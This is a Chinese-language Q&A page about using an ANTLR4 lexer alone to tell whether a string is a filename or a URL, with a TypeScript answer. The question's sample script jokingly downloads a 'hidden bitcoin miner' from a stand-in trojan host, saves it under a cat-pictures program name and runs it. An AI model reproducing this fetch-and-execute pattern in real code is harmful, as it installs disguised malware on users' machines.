微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

有没有一种使用 ANTLR4 来检查特定令牌而不解析的好方法?

如何解决有没有一种使用 ANTLR4 来检查特定令牌而不解析的好方法?

我有一个 ANTLR4 语法,其中包含“文件名”和“URL”的标记,但该语言还包括字符串和字符串表达式(结果可能是文件名或 URL)。有没有一种好方法可以只在我的解释器中的某个字符串上调用标记器,并根据我的标记规则查看该字符串是文件名还是 URL?我只是想对那些我正在解释的脚本动态创建其中之一的情况进行特殊处理,因此我可以特别对待这些字符串。

lexer  // this I already have (or something like this)
FileName: ([A-Za-z]':')?('\\'?[-_.A-Za-z0-9]+)+ ;
URL: ([A-Za-z]+':')?'/'?('/'?[-_.A-Za-z0-9]+)+ ;

Intepreter.java

public boolean isFileName(String string) {
   return antlr.lexer.token(string).type == FileName;  // this is the magic I want
}

Script  // this is what I am looking to understand
  # you get cat pictures,I get paid...
  url = 'https://trojan-server.com/hidden-bitcoin-miner';
  fn = 'c:' + programdirectory() + 'show-cat-pictures.exe';
  download(url,fn);
  exec(fn);

解决方法

据我所知,您希望接收在运行时构造的字符串的解释器操作能够利用您的词法分析器来确定这些字符串是 URL 还是文件引用。

像这样:

doDownloadAction(source: string,dest: string) {
  if (isFilename(source)) {

一个答案是启动一个由你的字符串提供的新词法分析器,就像你开始解析时所做的一样,但没有解析器......像这样的东西(在打字稿中,对不起,这是我使用的ANTLR):

import {LMLexer} from "./LMLexer";
import {CharStreams} from "antlr4ts";

function isFilename(txt: string) {
  const stringLexer = new LMLexer(CharStreams.fromString(txt));
  return stringLexer.nextToken().type == LMLexer.FileName;
}

for ( const str of [ "C:\\Users\\Tony\\file.txt","http://stackoverflow.com" ]) {
  console.log(str,isFilename(str) ? "is" : "is not","a filename");
}

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。